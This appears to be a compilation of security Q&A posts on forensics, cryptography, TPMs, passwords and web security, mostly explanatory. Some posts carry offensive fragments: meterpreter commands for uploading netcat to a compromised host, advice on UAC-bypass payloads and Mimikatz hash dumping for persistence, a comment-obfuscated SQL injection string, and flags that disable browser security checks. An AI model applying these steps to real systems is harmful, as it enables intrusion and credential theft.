Should digital forensics examiners avoid the term "evidence" outside legal proceedings? This is what the authors of the book "Digital Forensics with Open Source Tools" say about the term evidence:

  The examiner reveals the truth of an event by discovering and exposing the remnants of the event that have been left on the system. In keeping with digital archaeologist metaphor, these remnants are known as artifacts. As the authors deal frequently with lawyers in writing, we prefer to avoid overusing the term evidence due to the loaded legal connotations. Evidence is something to be used during a legal proceeding, and using this term loosely may get an examiner into trouble.

Is that true? Has there been a case out there where an examiner got in (serious?) trouble for calling something evidence when in fact from a legal point of view it really wasn't?

The point at issue isn't so much a legal one as it is one of proper communication.

Most of the civilized world uses the word "evidence" to refer to signs of some particular activity or behavior or process. A dentist finds evidence of tooth decay, a home inspector finds evidence of rodents. The word in common usage is pretty broad.

But when talking to a lawyer, you say the word evidence, and she mentally appends "of criminal wrongdoing" without you putting the words there, because in her practice, that's what "evidence" always refers to.

So if, in analyzing a compromised system, you point out that there is some evidence of a failed login attempt at 7:35 UTC, she's possibly going to assume that you said there is evidence of an unauthorized break-in attempt at 7:35, when in reality you said no such thing. You simply said that someone tried to log in and failed, and you noticed that fact in the logs. The logs make no mention of whether or not that user had authorization to access the computer, and you have not done any additional follow-up work to determine whether that was the case.  That is, the facts you uncovered are not necessarily the sort of "evidence" she's after, and you don't want to suggest that you have already determined them to be relevant.

So to save both of you a lot of misunderstanding and potentially some serious embarrassment in the courtroom, you avoid the word "evidence" because it has a special meaning to her. This is the sort of advice that is borne out of frustrating experience, and not a bad idea to follow.

Whether the examiner will personally get into legal trouble in such am instance isn't clear, nor do I think that's necessarily the implication. But you could certainly spark a misunderstanding which could damage the case in court, and that's worth considering.


meterpreter upload command does't work I'm trying to upload nc.exe on a Windows 7 system, after having exploited it by using: exploit/windows/fileformat/ms15_100_mcl_exe.

After obtaining the session:

sessions –l
sessions –i 1

I issued the following command to upload the nc.exe:

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

but it didn't work, and I got the following error message:

[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\windows\system32
[-] core_channel_open: Operation failed: Access is denied.

I've also tried other meterpreter commands, and I can say that some commands work, while others don't. For instance:

getuid works
getsystem doesn't work
shell works

Note: I've previously disabled the Windows 7 firewall.

You’ll need to elevate your privileges on the target through another exploit. You won’t simply get NT AUTHORITY/SYSTEM just because you’ve got a meterpreter session. Try using your shell to send a MSFVenom .exe that will give you UAC Bypass and another Meterpreter. Use that new Meterpreter exploiting the UAC Bypass to getsystemand you’ll get the NT AUTHORITY every time.

You’ll also want to take advantage of Mimikatz while you have a session open. Make sure you grab any hashes you can to crack offline to further future persistence.


does openssh support authentication using public key fingerprints? Cisco have two ways of enabling public key authentication: using the public key and using the public key hash.

ip ssh pubkey-chain
  username <user>
    key-string <public key>
    OR
    kye-hash <public key MD5 hash, aka fingerprint>

I know how to enable public key authentication using openssh. The question is can you authenticate using only the key signature - that is provide to the ssh server the key fingerprint instead of the whole public key?

No. The authorized_keys file contains strictly only the public key, as described in the manual page for sshd:

AUTHORIZED_KEYS FILE FORMAT
Each line of the file contains one key (empty lines and lines starting with a ‘#’ are ignored as comments). [...] Protocol 2 public key consist of: options, keytype, base64-encoded key, comment.

Accepting the key only based on the fingerprint can work only if you will send the public key before you request authentication (the server needs to verify your authentication by decrypting the challenge using the public key). Since MD5 is already considered as cryptographically broken it might be a security issue.


What is the potential impact of these SSL certificate validation vulnerabilities? I just finished reading through this paper by Georgiev et al, which demonstrates a wide range of serious security flaws in SSL certificate validation in various non-browser software, libraries and middleware, including EC2's Java library, PayPal's merchant library, osCommerce, ZenCart, etc.

The abstract is pretty impressive:

  We demonstrate that SSL certificate validation is completely broken in
  many security-critical applications and libraries. Vulnerable software
  includes Amazon’s EC2 Java library and all cloud clients based on it;
  Amazon’s and PayPal’s merchant SDKs responsible for transmitting
  payment details from e-commerce sites to payment gateways; integrated
  shopping carts such as osCommerce, ZenCart, Ubercart, and PrestaShop;
  AdMob code used by mobile websites; Chase mobile banking and several
  other Android apps and libraries; Java Web-services
  middleware—including Apache Axis, Axis 2, Codehaus XFire, and Pusher
  library for Android—and all applications employing this middleware.
  Any SSL connection from any of these programs is insecure against a
  man-in-the-middle attack.

From what I can tell, if the faults and proposed attacks are realistic, the consequences are far-reaching and rather disconcerting.

I don't pretend to fully understand the theory behind the attacks they posed, which is why I'm asking this question - what's the real potential impact here? Is there a real serious risk, or is all of this an exercise in FUD?

All the attacks that are listed in the article are real, and serious, and they all match the same generic pattern: the server's certificate is not properly validated, i.e. verified to belong to the intended server as specified in the relevant standards.

Is it a flaw in SSL ? No. The protocol, as itself, is fine. If the correct, genuine server public key is known, then the SSL tunnel mechanism fulfills the security characteristics that are expected from it (provided that the implementation is correct and a not-too-old version is used, which means TLS 1.1 or later -- see this answer).

Is it a flaw in X.509 ? Yes or no. X.509 is known to be complex. In fact, the whole notion of certification is complex, and X.509 tries to handle it upfront. Through a long history of dubious technological choices (let me just say "UTCTime" and "TeletexString" -- if you do not know what this means, then, trust me, you are happier that way), X.509 might make the complexity even higher. However, there is something inherently hard in doing PKI properly. This is not new information; have a look at a previous version from early 1999, more than 13 years ago: it already shows all the tricky elements (in particular revocation checks).

Is it a flaw in SSL libraries ? To some extent, yes. The article authors point out that the libraries are under-documented, the defaults are vulnerable, and the API atrocious. They are totally right. It is hard to use these libraries properly, unless you already have some precise notions of how SSL works.

Is it a flaw in the common development model ? Definitely. We often say: "Do not invent or implement your own crypto ! Use existing libraries." The intent is good, but nowhere near sufficient. Security architecture design is hard. It takes a lot of specialized knowledge to make a secure application, and it begins at the structural level. Unfortunately, the security-aware developers are a very small minority. For the vast majority of developers, secure application design is an alien concept. Notably, secure design works backwards, with regards to software development as it is usually done: most developers concentrate on making normal things happen under normal conditions, while security focuses on avoiding bad things to happen under abnormal conditions (maliciously abnormal, not just statistical bad luck).

Requiring that architecture design is reserved to security specialists it not practical (it would guarantee me from unemployment until my death, though). As far as I know, there is no known solution for that -- it is akin to producing bug-free software, with the added problem that security is about an adversary who actively tries to trigger the bugs. Some people argue for making developers legally responsible for security holes. Indeed, if "hidden flaws" in the software industry were treated the same way they are in the automobile industry, then there would be much fewer bugs -- and much less software, too.


Does having non-ECC SDRAM affect security of the system? If I don't have SECDED ECC DRAM, is it possible or realistic that a bit could flip around sshd, and grant a lucky lurker access to my system without requiring a valid password?

It is possible.  It is stupendously, fantastically, indescribably improbable.

It will never happen.  It is not realistic.  Monkeys will type Shakespeare before it happens.  Daenerys Targaryen will bear a living child before it happens.  If two Wednesdays come together in a week... it'll happen long, long, long after that.

And as @Forest points out... It happened anyway, with Rowhammer (and even to ECC with the ECCploit variant).  Say Hello to the Wednesdays!


For how much time should I randomly move the mouse for generating encryption keys? When creating a Truecrypt volume, there is the wizard page in which the user is told to randomly move the mouse (the longer the better) to generate entropy, and that it will significantly increase the strength of the encryption keys.

I have the feeling that the increase in the randomness of the keys will no more be really significant after having moved the mouse for some time, but I don't know how to get an order of magnitude for that.

In other words, will the encryption keys be really stronger if I move the mouse for 3 minutes instead of 1? For how long would you move your mouse?

Thanks.

The PRNG in the host machine feeds on hardware event for randomness. When you move the mouse, it sends "move events" to the PC, where a "move event" is like "hey, PC, I just moved 0.58 cm up and 0.31 cm left". A typical rate would be 15 move events per second (gaming mice have a higher rate). On the OS side, the amount of movement in each direction, and the exact time at which the event is received, will be used as "entropy".

The bright thing about entropy is that it just adds up, as long as you use a cryptographic hash function to mix it up into the entropy pool. The OS does that. About 128 bits of entropy are enough but the paranoid will like to go a bit beyond, if only to win at games of my-entropy-is-longer-than-yours. It can be assumed (a very conservative estimate) is that each move event will yield at least one bit of entropy (which means that if an attacker tries to predict the time and amount of the next move event, he will do no better than exhibit two equally probable events). So you will have at least 15 bits worth of entropy per second, i.e. 128 bits of entropy in less than nine seconds.

Therefore, it is not needed to torture your mouse more than a dozen of seconds. Moving the mouse for one minute is already total overkill.

(Since the OS began gathering entropy since boot time, and feeds on more hardware events than just the mouse, it actually already has more entropy than needed, and the whole dancing mouse thing is more ritual and psychological than scientific; it makes you feel secure more than it actually adds to real security.)


Some specific website not loading when proxy through Burp I am conducting web application pentest in which all the traffic will go through BurpSuite. In addition, SOCKS proxy is used so all the requests are sending out from a fix company IP address.

However, I encounter a problem recently. Some specific website fail to load when proxy through Burp, just keep on connecting. The website loads completely fine when no proxy in use. I don't think the website has block my company's IP address from accessing because my colleagues are able to access to the site.

So what's preventing me from accessing? Will it be MAC address?

Attached the output from Burp's alert tab.

As void_in said, it can be HSTS or HPKP. You can bypass those by disabling browser security.

$ google-chrome --disable-web-security --ignore-certificate-errors


What does the below SQL injection indicate? What is the meaning of this command in SQL ?

php?que_id
=-1/**/UNION/**/
ALL/**/SELECT

What does /**/? indicate here?

This is an empty SQL comment, and is treated the same as a space.

This trick can be used to get around filters that strip out spaces. It may also be introduced to bypass a WAF or IDS.


How secure is Angular? Very simple question
 - Is angular a secure option for enterprise development?
 - Is it Angular 2/4 a valid alternative to .net MVC?
 - Is there any special security process or recommendation for these environments?

It sounds like you're mixing scopes a bit. Angular is a front-end technology, and while you can escape HTML to prevent XSS attacks, any basic templating language can handle that.

When you think about security in a web app, you have to remember that the end user is free to run whatever code they want on the front end, and they can hit your APIs in custom ways you didn't intend. In that sense, the real concern is really around your backend tech and how consciously your app's APIs are written. The front end isn't nearly as large of a concern because the user can do whatever they want anyway.


Why does Github need to offer a GPG signature feature? Github offers users to sign their work using GPG. I guess I missing the bigger picture, though how can people have your SSH keys or your credentials and not your GPG keys. Not sure what kind of layer does it add on top of the regular ssh connection?

How does this help to achieve their goal:

  Use GPG keys to sign your work locally and verify work from trusted collaborators.

Why the authenticated username+password login, exchanged SSH keys with github isn't enough to prevent masquerade and implement authorization?

Edit:

In fact if you see the comment by Davorak:

  You can use github's api to identify out who pushed a commit:

  Currently the event in question is on page 3 so you can use:
  https://api.github.com/repos/amoffat/masquerade/events?page=3

  It i will roll to further pages as new events come in.

(see the output at the end)

To me it sounds like over-engineering and bad practice, because all the people who don't setup a GPG are still at "risk".

That's what Linus has to say.

{
    "id": "3030685599",
    "type": "PushEvent",
    "actor": {
      "id": 259113,
      "login": "amoffat",
      "gravatar_id": "",
      "url": "https://api.github.com/users/amoffat",
      "avatar_url": "https://avatars.githubusercontent.com/u/259113?"
    },
    "repo": {
      "id": 40194425,
      "name": "amoffat/masquerade",
      "url": "https://api.github.com/repos/amoffat/masquerade"
    },
    "payload": {
      "push_id": 747582733,
      "size": 1,
      "distinct_size": 1,
      "ref": "refs/heads/master",
      "head": "9b0562595cc479ac8696110cb0a2d33f8f2b7d29",
      "before": "2ff8c2e08b0be167a6794a1a03b7a41f0c459141",
      "commits": [
        {
          "sha": "9b0562595cc479ac8696110cb0a2d33f8f2b7d29",
          "author": {
            "email": "torvalds@linux-foundation.org",
            "name": "Linus Torvalds"
          },
          "message": "Enjoy!",
          "distinct": true,
          "url": "https://api.github.com/repos/amoffat/masquerade/commits/9b0562595cc479ac8696110cb0a2d33f8f2b7d29"
        }
      ]
    },
    "public": true,
    "created_at": "2015-08-04T18:44:26Z"
  },

Since git is decentralized, anyone can forge a commit, and fake the source of the commit, even if they don't have your credentials.

It's really as easy as:

git commit --author "Name <email@example.com>"

Signing a commit allows its author to prove its authenticity.


Does it make sense encrypt an HTTP payload using JWE I'm working in a project that the client must encrypt the HTTP messages payload to send to the server. In my first research I found the RFC 8188 and I think it solve my problem, but some people suggest the use of the JWE to encrypt the payloads. Does it make sense use JWE to encrypt HTTP payloads?

Unless you have some very specific requirements that you haven't described in your question, ECE and JWE are unlikely to be appropriate for your application.

HTTP traffic is conventionally encrypted using TLS, as HTTPS. Other options should only be considered if there is a very specific reason why HTTPS is insufficient.


Implementation language for crypto I'm going to implement a small crypto lib/tool.
The "do not implement crypto by yourself" rule does not apply here, since this crypto system is new and not implemented yet. ;)
So the first step is the choice of the implementation language. And my question here is, if there are reasons to prefer one over another.

Since it has to be efficient, I sympathize with C or C++. And with C or C++ it should be easy to create bindings for other languages like Java or Python, later.

So if you agree with me, that C or C++ is nice for this purpose, lets focus on C vs. C++.

C may be a bit simpler and the lack of stuff like objects could help avoiding critical bugs.
On the other hand, C++ might offer the ability to do some things in an easier way. Like the use of the C++11 random device for cryptographically secure random numbers (e.g. from /dev/urandom). Or exception handling etc.

There are probably more points. But maybe the choice isn't that important?!

What are your thoughts?

Choice of programming language for cryptography depends on a lot of parameters, including (but not limited to) the following:

If the goal is to support research (e.g. to try variations) then the language should be one that is most mastered by whomever will do the research. For instance, people who want to "investigate crypto" and feel most comfortable with Python will use Python.
If the goal is to serve as a pedagogical tool, e.g. for a reference implementation of a new algorithm, then a widespread language with clear semantics should be preferred. Cryptographers have long used C for that job, but, arguably, Java or C# would be better choices since they have much fewer "dark corners".
If the goal is efficiency, then the target architecture is of paramount importance; for instance, many embedded platforms support only (a subset of) C, and any implementation will have to be more or less directly implemented in C (automatic translation from other languages is possible but requires work). If you have the choice, then compiled languages (e.g. C) and languages with efficient JIT compilers (e.g. Java, C#) are appropriate.
If the goal is maximum efficiency, and you want to run in the least possible number of clock cycles, then some assembly will be needed. This hardly matters in practice, outside of microbenchmarks (in most practical applications, memory and network bandwidth are the bottleneck, not cryptography), but it is a fun exercise.
Most cryptographic algorithms process secret elements (e.g. keys) and may be vulnerable to side-channel attacks. Preventing such attacks requires intimate knowledge of all the arcane management of cache memory, jump prediction and other subtle details. Implementations which are robust against such attacks are awfully difficult to build, but the problem becomes easier (not easy, just easier) with a lower-level language. Hence, assembly or C (with C, you still have to understand what is going on at the assembly level). Arguably, if you know enough to implement a side-channel-free cryptographic implementation, then you already know that...
If you are weary of life, use C++.

Personally, I have implemented cryptographic algorithms for various goals, including research, pedagogy and efficient production-level code (currently deployed in the field) in C, Java, C#, Forth, a dozen of assembly dialects, and a few other languages. None of these languages was "better" than the others in an absolute way; it is all a matter of context.


Is the execution time for bcrypt independent of the length of the input string? Is the execution time for bcrypt independent of the length of the input string?

i.e.

Should the execution time of

bcrypt.hashpw('input_string', bcrypt.gensalt(12))

and

bcrypt.hashpw('arbitrarily_longer_input_string', bcrypt.gensalt(12))

be in theory the same.

Is this a something that is guaranteed by the bcrypt algorithm, or is it implementation specific?

Execution time in bcrypt does not depend on the input size; internally, the input string is padded into a fixed-length sequence of bytes, and that sequence is then used throughout the algorithm.

It would be a problem if execution time depended on input size, because the "cost factor" parameter is adjusted to make the execution time as high as is tolerable. The question is relevant, but, fortunately, bcrypt does not have this specific weakness.

Note: input passwords for bcrypt have a maximum size of a few dozen bytes. There are ways around it which involves a pre-hashing step (that step would take a time proportional to the password size, but it would be muuuuuch faster so the time overhead would be negligible, unless you are in the habit of typing passwords of several megabytes, which is impressive but weird).


Temp file deletion / encryption I'm working on an .net app within aws. Basically our app pulls "generic" data from another organization for the purpose of building customized reports. The data is sent to us via ssl/tls and sent back the same...the processing is all conducted in RAM. It's only when the reports need to go into specific formats is there a period of time where the file is written to local disk and then sent back out. When this transfer is completed, the file is deleted.

Does it make more sense from a security / design perspective to have some program overwrite this file space, encrypt the data locally or on s3. Access outside of this transaction for management purposes is tightly controlled.  It seems if there was some way to force the file into a specific container then have some program do a wipe function would be easier than encryption?

This isn't classifed data in terms of pci/hipaa, etc but may contain confidential customer information. Is something like this really a major obstacle from a security perspective as well?

Other thoughts?

I assume you need a temp file to feed an external formatting program that only offers a file-based interface (perhaps something like Crystal Reports or Adobe Acrobat, or whatever.)

One general approach might be to limit your exposure.  You could mount the temp file on a separate dedicated partition or drive, and restrict access to that even further.  If you keep the temp partition small as possible, deleted sectors will be more quickly re-allocated and overwritten.  You could use an encrypted partition.

Even better, you could implement that dedicated temp drive with a RAM disk (aka RAM drive) so the bytes never actually hit durable physical storage media.  A power-off or reboot of the machine will ensure it's wiped.


Detect SSH InBound / Oubound Connections I'm noodling with the idea of managing SSH connections on Linux server using a program (not sure what it will be written in yet) that monitors inbound and outbound connections.  Is there a way to detect an ssh connection before it is fully established.  I'm looking for something that is event driven or another method that is very lightweight in terms of processing power.  The closer to real-time detection the better.

When I say "monitoring" I mean the program will check to see if the inbound/outbound connection is authorized for that user/process.  If not it will shut it down.  Why?  Because I have many systems internally that can ssh between each other and I can't use iptables to block access between systems or the ssh white list.

Thanks!

This can probably be done with the Snort Intrusion Prevention System, though Snort rules for SSH are generally used for things like brute force login detection and seeking SSH exploits.

However, I think you'll find that being too draconian, especially on sysadmin-type employees, will likely trigger attrition.  Set a corporate policy if you must, but don't enforce it so strictly.


ELK Stack as a SIEM - First steps I have experience with a couple of commercial SIEM solutions running on Security Operation Centers. I've been reading about companies using Splunk as SIEM. I'm a big fan of open source solutions and I found that the ELK Stack can do the same thing.

I'm trying to set up a ELK Stack to learn more about the technology and possibilities. I have some doubts about integrating syslog-ng with ELK. Is that really necessary?

I assume that the input to the ELK platform will be all syslogs and system events. All correlation, rules and processing happens within the ELK environment. Am I correct?

In terms of syslog, syslog-ng can record events to a DB instead of text files. Is DB a better way to integrate with Elasticsearch?

Thank you for your time and any help is welcome.

I have some doubts about integrating syslog-ng with ELK. Is that
  really necessary?

Of course not, syslog-ng is a "log management infrastructure." If you deploy ELK as a SIEM you can manage all your logs there.
You just need to install an agent on each server you want logs from. You can use the official logstash client or any other tool that parses your syslog to JSON and pass it to the Elastic Search server.

  I assume that the input to the ELK platform will be all syslogs and system events. All correlation, rules and processing happens within the ELK environment. Am I correct?

You can pass anything you want, but yes you are correct.

  Is DB a better way to integrate with Elasticsearch?

I don't think so; Elastic gets all the data and stores it by itself, so to interact with any other DB you will have to deploy some agent that reads the DB and sends JSON to the Elastic server.

You can follow this guide to start playing with the full ELK: here

I'm not sure it is up to date (for example, Kibana doesn't need nginx anymore for reverse proxy, it comes with built-in nodejs) but it can save you a lot of time.


Is this a reasonable approach to "generating" passwords? Possible Duplicate:
  What is your way to create good passwords that can actually be remembered?

I am using a self-developed "template" for my own passwords (like Facebook, Gmail etc.)

I use a small set of prefixes and suffixes and build a password like this: prefix + something meaningful, related to the site + suffix + pissible numbers

So, in case of Gmail my password could look like: foospambar112, foo and bar beeing the pre/suffix from my small set. This gives me longish passwords while keeping them easy to remember/figure out again and keeps me from re-using a password.

I'm really prone to forgetting passwords or mixing them, because there are so many of them and I hate recovering passwords, especially if site prevent you from using a password used in the past.

Am I right believing that this is an ok-ish approach to managing your passwords?

Forget password schemes like this. All it takes is one breach on one website you use and someone could figure out your scheme, then break into all/most of your accounts.

Use a password manager instead, and store the password vault on a cloud hosting service like dropbox - that way you only have to remember a few strong passwords (one for your OS, one for your password vault, one for your dropbox, and optionally one for your email in case you need to recover your dropbox account). This gives you the ability to have strong unique passwords for all accounts, and only have to remember a small number.

I recommend keepass, since it's cross-platform / cross-device and free, but there are many others out there.


What can I do about a malicious site with a similar domain name? I recently purchased a domain name (lets pretend it was generic.co), I checked to see what site was hosted on the domain close to mine (generic.com).  The site loads a fake blue screen of death and has a JavaScript modal that can't be dismissed.

This is obviously some sort of malware distribution vector. Is there anything I can do to get this site shutdown?

If you have definite proof that malware is being distributed from there, you might get the hoster to shutdown the website. Other than that, the person who has generic.com has every right to host anything that he wants on it.

Unless its a really specific domain name that is completely unique and you have reason to believe it was created to distribute malware to your users, you don't have a realistic chance of getting it shutdown.


What kind of "actions" can a TPM2 policy authorize? I've been instructed to use the state of our system's TPM's PCR registers to prevent the system we're working on from booting if one of the PCR registers is different from what we expect. In service of that goal, I'm reading over this article: https://threat.tevora.com/secure-boot-tpm-2/

there is a paragraph near the middle that reads:

  TPM2 has the ability to create policies based off of PCRs: If the PCR contents do not match expectations, the policy will not authorize the action.

What kind of actions are they talking about here? And what would be the immediate ramifications if the action was not authorized?

Some background:
Before today, I was under the impression that the principle trick of the TPM was to encrypt or decrypt data using a key that the TPM holds securely. Now this article suggests that the TPM can also (two different functions) encrypt or decrypt data based on the current state of its' PCR registers... this seems similar enough to my previous understanding that I can believe it.

If my understanding is correct, I can see how this would be useful to our project's goals; encrypt a blob of data that is critical to the success of the boot (say... the kernel*) with the state of the PCR registers while the PCR registers are in a known-trustworthy state (i.e. while known-trustworthy software is loaded). If software that writes different PCR registers replaces the known-trustworthy software, then the kernel blob won't decrypt properly, and execution "halts". Presumably there are ways to handle this halting gracefully, like Bitlocker or LUKS; I imagine if I just encrypted executable code and then decrypted it with the wrong key, it would produce gibberish, and the machine would do unexpected things rather than halt gracefully when running that gibberish.

A co-worker has taken the position that there's a simpler way; that a TPM can permit or refuse an action directly... so, like, it halts the processor or something, I guess? He doesn't express himself very well, and when I tried to summarize his position he told me I got it wrong, so... I'm deliberately keeping the details of his position scant. Suffice it to say, my understanding of what a TPM does wouldn't allow for what he describes...

You could interpret the two sentences from the article as supporting his position, or mine, depending on what actions it is possible to ask the TPM to authorize, and what the immediate consequences ramifications of the TPM denying you the authorization to do something. Does anyone here have an opinion?

*...how would I "encrypt the kernel", exactly? :-p

TL;DR: you can prevent booting directly. However, not the TPM stops the boot process, but the last trusted component in your chain of trust (e.g. your bootloader).

A TPM is passive, i.e. it receives commands and executes them. The TPM cannot intervene with the boot process on its own.

Some TPM basics: typically, there are two features associated with PCRs: Sealing and Quoting. Sealing is tying a key to a known good PCR value, as you mentioned already. Quoting is reporting a PCR value (including a signature by the TPM to ensure integrity).

Of course you could encrypt the kernel (or your entire disk using LUKS). That's not really neccessary, though. Your bootloader could just measure the (unencrypted) kernel and refuse to boot any bad kernel. You do not need a TPM (nor a TPM Policy) for this. The bootloader, or to be more specific the initial piece of code which performs the first measurement, needs to be trusted at all times in a chain of trust. It is called the Core Root of Trust for Measurement (CRTM).
If the bootloader was corrupted, it could just produce fake measurements leading to a successful boot (without any way for the TPM or any subsequent software to detect that).

You want to use a TPM for other reasons. Beside secure key storage, it's the job of the TPM to securely store measurements so they cannot be tampered with (especially after booting). Using remote attestation you can prove to a remote host that your PCRs hold good values. In fact, remote attestation is basically quoting with extra steps. There are many more things you can do with a TPM which I'm not going into for the sake of simplicity.

As for the actions authorized by policies: to perform actions on TPM entities (keys, data blobs, hierarchies, NV indices etc.), you may need policy authorization (depending on the entity's attributes userWithAuth and adminWithPolicy). There are many different entities with different actions, you cannot simply list them here. However, policy sessions only authorize actions on TPM-internal entities.


What are a keypair and a public key ring? The GNU Privacy Handbook says:

  The command-line option -gen-key is used to create a new primary
  keypair.

gpg --gen-key

Does a keypair mean a pair of private key and public key?

The book also says there is a public key ring. Does it mean the place which stores the public keys created locally and received from others?

Is there a private key ring?

Thanks.

Does a keypair mean a pair of private key and public key?

Yes.

  The book also says there is a public key ring. Does it mean the place
  which stores the public keys created locally and received from others?

Yes.

  Is there a private key ring?

In a default setup you would only have your own private key. Therefore it would not make a whole lot of sense to have a keyring containing only a single key.
This term is therefore not really common.


Potential worm damage on a physically isolated Tor system I'm setting up a physically isolated Tor system (with one computer serving as the workstation and another as a Tor gateway), and I'm concerned about methods a worm could use to infect my OS. In the event that my workstation is compromised and attempts to attack the gateway, what kind of attacks could be attempted? Would something like a networking worm be able to bridge the 'air gap' between the two computers and compromise my identity, and would there be any benefit to using an Ethernet connection vs. WiFi between the two computers?

Sorry if I sound like an absolute newbie; I just read this document and was wondering how a virus could 'break out' of a physically isolated system.

http://www.invisiblethingslab.com/resources/2014/Software_compartmentalization_vs_physical_separation.pdf

Tor provides you anonymity, but it will not protect you at all from malwares or any other security threats. All recommendation regarding network security must therefore be scrupulously respected in order to ensure your network safety.

You do not mention it in your description, but be aware that your setup matches Whonix project, so if you do not want to reinvent the wheel and benefit from their experience feel free to rely on them for your setup.

At last, personally I would strongly recommend using an ethernet connection. Using a properly secured Wifi access should not be a major threat, so if it has a real benefit for you it may still be considered, but personally I would feel less comfortable in the idea of spreading confidential data everywhere around me, even in encrypted form.


How character repetition affects passwords entropy? From this wiki page, I learned that the strength of a password is affected by two main factors, the length (L) and the possible symbols (N), and it's calculated using the equation:
H = L * log2(N)
Now, what about the character repetition? Wikipedia says that repetition should be avoided but how does it affect the equation or the strength of the password?
I thought of some solutions like:

Counting repeated characters as 1 character. This way it affects the length (e.g. Password = MIC3333 Length = 4 ).
But that's not accurate because the number of the actual possible passwords that a hacker calculates is higher that the calculated entropy.

If L=10 with 5 repeated characters, the repetition percentage is 5/10 or 50%. So, the strength of the password will be reduce by 50%. I thinks that's not accurate too.

I would like to know if there's an equation that includes character repetitions.
Thank you so much,

Password entropy is based on the number of possible combinations.
For a pattern to reduce entropy, the pattern needs to be known to the attacker.

If the pattern isn't fixed and known, the reduction in complexity will be specific to the attacker's algorithm. It will be different for different attackers. E.g., with a dictionary attack, effective complexity for dictionary words is dictionary size, for words out of the dictionary full brute force complexity.

I don't know whether there is or can be a mathematically optimal algorithm for letter repetitions. The simplest solution I can think of is to treat symbol repetitions, up to a N repetitions, as extra graphemes. In that case, the password's strength will be the number of graphemes it contains.

Against such an algorithm, the added strength of each consecutive symbol from the 2nd to Nth symbols is 0, and equivalent to another grapheme up to 2N. But such an algorithm itself will be slower against random passwords due to a larger effective character set. For instance, checking for 2-long repetitions for every symbol will drop its speed by a factor of 2^(length-1). But against a password that is all double symbols, its speed will improve to only a square root of above complexity.

If it's imperative that brute force efficiency is not compromised, a free tweak is always starting to pick the last grapheme as being equal to the previous one. In that case the added strength from the first (for variable length) or all repeat symbols at the end (for fixed length) is 0.
Doing so in the middle isn't a free tweak anymore. Neither is trying for extra repeats in a variable length password, although it's so cheap as to be nearly free.

In short, against an algorithm optimized to pick passwords with repeated characters, a password's strength can be estimated by dropping all consecutive digits past the first to get effective length L'. Theoretical strength would be approximately (charset*N)^L', where N is the maximum number of repetitions the attacker is testing for.

Against an algorithm optimized for brute-force efficiency, only the consecutive digits at the end should be dropped. Theoretical strength with a naive algorithm would be charset^(L'-1)*(charset+N). Any practical algorithm will be testing for a lot of suffixes already, though (passwords often end in "1" or "1!" to bypass complexity rules).

It's all a matter of what algorithm the attacker uses. Dictionaries, including leaked password lists, will generally be tried first.


Resources to learn about security I am currently just finishing a undergrad computer science degree, but I know very little about computer security.

What are some good resources (aside from this site) to learn the fundamentals of security. I realise that good resources will probably vary depending on specifically what sort of security each is aimed at.

I've looked at this Linux Security HOWTO: http://tldp.org/HOWTO/Security-HOWTO/index.html

The question can be rephrased: If you were forced to employ someone in my situation (solid knowledge algorithms/data structures, a few languages and different programming paradigms and basic Unix knowledge), what would you make them read/learn?

That's a tough question to answer, because "Computer Security" is a very broad field--

If you are looking for just general computer security stuff, I would start following Richard Bejtlich, who has authored a couple very good network security & forensic books--But he also deals with the philosophical mindset of computer security--For instance, from the Tao of Network Security Monitoring:

“Security is the process of maintaining an acceptable level of perceived risk. A former director of education for the International Computer Security Association, Dr. Mitch Kabay, wrote in 1998 that “security is a process, not an end state.” No organization can be considered “secure” for any time beyond the last verification of adherence to its security policy. If your manager asks, “Are we secure?” you should answer, “Let me check.” If he or she asks, “Will we be secure tomorrow?” you should answer, “I don’t know.” Such honesty will not be popular, but this mind-set will produce greater success for the organization in the long run.”

I would also recommend Bruce Schneier, & most of SANS resources.

-Josh


Authorization with MD5 imlemented in Javascript I want to use MD5 function (JavaScript library) to hash password before send it to server during logging in to website and during registration proces.

I want to ask is it a secure method?
I can't use https, and I wonder if this method will be safer?

If someone has some remarks about this I will be grateful for advices.

No, it is not.

First, because MD5.

Second, because an eavesdropper can intercept the hash just like it can intercept the password, allowing them to send the same hash to the server to impersonate the user ("replay attack").

What you could do instead is have the server send an unpredictable, unique string to the client for each login attempt. This is called a "nonce" in cryptography. The client then creates a hash of the password together with that nonce. When nonces do not repeat and each nonce can only be used once, the hashes will not repeat either and replay attacks will be impossible.

But even that will not help when the attacker can not just eavesdrop but also manipulate the traffic. That would allow them to replace your javascript code with their own which sends the unencrypted password to them.  No javascript-based scheme would protect you in that scenario.


SQLMap: How to dump tables that begin with a specific letter? I would like to know the command of SQLMap, which permits me to retreive just tables that begin with a special letter. Example with letter "T":

sqlmap.py -u www.website -D database -T tables (...)


How do SSL certificates become compromised after expiring I'm reading into security issues surrounding SSL, and one of that has come up is certificate expiration. The general idea is that once a certificate expires, the site is insecure. What is the difference between an expired certificate and valid certificate, seeing as they both still encrypt the data? What allows an attacker to compromise an expired certificate that he couldn't do a valid one?

There is not much difference between a valid and expired certificate in the SSL/TLS communication. Both case will allow the communication in a safer way and also the same level of data transmission. Even the certificate is expired , the keys are valid until its compromised. Here the point is that the level of trust to the client. But as a Standard SSL protocol part of verification, the client or server need to do.


using html5 websockets to bypass firewall TCP policy I've read that html5 enables opening tcp sockets from the client side in its "websocket" feature.

Firewalls as I recollect may be configured to block tcp connections initiated from "the outside" by looking for SYN packets, but utilizing this html5 feature enables a simplistic bypass to this policy.

Am I missing something here? Who will monitor those implicit open socket calls?
It appears that this behavior is a "reverse tcp shell" served for free...

First, websocket connections are initialized from javascript which gets executed by the web browser on the client. That means typical websocket connections are outbound connections, not inbound connections. Inbound websocket connections would only be possible when the host runs a websocket server. A normal browser will usually not do this. And even when the host runs a websocket server for some reason: a properly configured firewall in a usual client network, can, should and will prevent this.

Second, websockets are not normal TCP sockets. They use a custom framing protocol on top of TCP. That means that a websocket connection can only be opened to a service which understands the websocket protocol. So even though the websocket API can be used to make the user (try to) connect to any remote host, they will be unable to make them use any service not intended for use via websockets.

Third, this is not a "remote TCP shell", because the websocket only lives in the javascript engine of the web browser and in the context of the currently visited HTML document. It does not give the website the user is visiting any more rights to do stuff on the local machine than it wouldn't already have. Sure, it gives the javascript application the ability to communicate with remote servers, but there were already plenty of ways to do this, like AJAX.

So what possible abuse potential remains?

